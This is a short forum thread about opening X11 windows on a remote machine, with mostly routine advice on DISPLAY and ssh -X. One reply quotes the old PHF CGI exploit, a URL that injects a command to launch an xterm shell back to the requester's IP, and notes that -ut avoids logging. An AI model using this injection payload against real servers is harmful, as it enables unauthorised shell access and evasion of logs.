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[screamer]

Kills me to ask a question like this, but I've set up a network and want to open an x window on a remote machine (similar to the X11 security hole where you can connect to someone else's machine if they dont use xhost to block access). Problem is, I can't figure out what the damn command is! I've gone through the man pages on X, xdm, xconsole, etc, and can't find anything. Any help would be appreciated.

[bland_inquisitor]

ssh into your box, and then send an Xterm to yourself.

/usr/X11R6/bin/xterm -ut -display your IP:0.0

as in the old PHF exploit /cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20your_ip:0.0

the -ut means that activity will not be logged, and you will have an xterm with a window of 0 and screen ID of 0

[screamer]

hmm, thought there was another way...my bad! thanks bland.

[vooduHAL]

Well, if you want any windows to come up remotely just do export DISPLAY=your.host.com:0.0 and now any x based app will come up on your remote machien.

[feend]

You can also tunnel it through ssh if you're so inclined

I think it's 'ssh -X <host>'....would have to check though.